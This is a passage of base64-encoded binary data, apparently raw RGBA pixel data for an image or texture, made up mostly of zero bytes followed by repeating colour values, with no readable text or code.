AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA////C////wv///8UlJSUKJSUlCiUlJQolJSUKJSUlCj///8T////E////xrDwb0ow8G9KMPBvQ0AAAAAAAAAAAAAAAAAAAAA////BP///w3///8NycnJH5KSkiiSkpIoo6GhKKOhoSjm5OQf////Df///w3///8EAAAAAAAAAAD///8V////Ff///xX///8V////Ff///wcAAAAAAAAAALKysiKysrIipKSkJIuLiyiLi4soi4uLKIuLiyiLi4sop6enKKenpyjq6uoh////E////xP///8hwcHBKMHBwSiQkJAokJCQKJeXlyinp6cop6enKP///xr///8T////E87OzCjOzswo19bVKOrn5yjq5+co7+/vJPPz8yLz8/Mi////GP///xj///8W////E////xPMzMwhtLS0KLS0tCj///8D////A////w3Nzc0izc3NIv///xj///8T////E9DQ0CjQ0NAo+Pj4If///xP///8T5+fnH7i4uCW4uLgl////Ff///xX///8bkpCQKJKQkCiVlJQolpaWKJaWlij///8a////Gv///xIAAAAAAAAAAN/f3xPf398d39/fHf///w3///8N////CQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAD///8g////IP///z2UlJR3lJSUd5SUlHeUlJR3lJSUd////zj///84////TcPBvXfDwb13w8G9KAAAAAAAAAAAAAAAAAAAAAD///8N////KP///yjJycldkpKSd5KSknejoaF3o6Ghd+bk5F3///8o////KP///w0AAAAAAAAAAP///z////8/////P////z////8/////FQAAAAAAAAAAsrKyZ7KysmekpKRsi4uLd4uLi3eLi4t3i4uLd4uLi3enp6d3p6end+rq6mL///84////OP///2LBwcF3wcHBd5CQkHeQkJB3l5eXd6enp3enp6d3////Tf///zj///84zs7Md87OzHfX1tV36ufnd+rn53fv7+9s8/PzZ/Pz82f///9H////R////0L///84////OMzMzGK0tLR3tLS0d////wj///8I////KM3NzWfNzc1n////SP///zj///840NDQd9DQ0Hf4+Phi////OP///zjn5+dduLi4b7i4uG////8/////P////1KSkJB3kpCQd5WUlHeWlpZ3lpaWd////0////9P////NQAAAAAAAAAA39/fOt/f31ff399X////KP///yj///8bAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAP///yD///8g////PZSUlHeUlJR3lJSUd5SUlHeUlJR3////OP///zj///9Nw8G9d8PBvXfDwb0oAAAAAAAAAAAAAAAAAAAAAP///w3///8o////KMnJyV2SkpJ3kpKSd6OhoXejoaF35uTkXf///yj///8o////DQAAAAAAAAAA////P////z////8/////P////z////8VAAAAAAAAAACysrJnsrKyZ6SkpGyLi4t3i4uLd4uLi3eLi4t3i4uLd6enp3enp6d36urqYv///zj///84////YsHBwXfBwcF3kJCQd5CQkHeXl5d3p6end6enp3f///9N////OP///zjOzsx3zs7Md9fW1Xfq5+d36ufnd+/v72zz8/Nn8/PzZ////0f///9H////Qv///zj///84zMzMYrS0tHe0tLR3////CP///wj///8ozc3NZ83NzWf///9I////OP///zjQ0NB30NDQd/j4+GL///84////OOfn5124uLhvuLi4b////z////8/////UpKQkHeSkJB3lZSUd5aWlneWlpZ3////T////0////81AAAAAAAAAADf398639/fV9/f31f///8o////KP///xsAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAnZ2djZ2dnY14eHikRkZG0kZGRtJYWFizZGRkpGRkZKT///9H////R56cnHVaWlnSWlpZ0omJiH7Dw8NVw8PDVQAAAAAAAAAA////EP///y////8veHh4k1dXV8RXV1fES0pK0ktKStJfXl6/lZWVm5WVlZv///87////C////wtramq6a2pquoaFhaHf399w39/fcN/f3yUAAAAAAAAAAExMTLZMTEy2SEhIv0B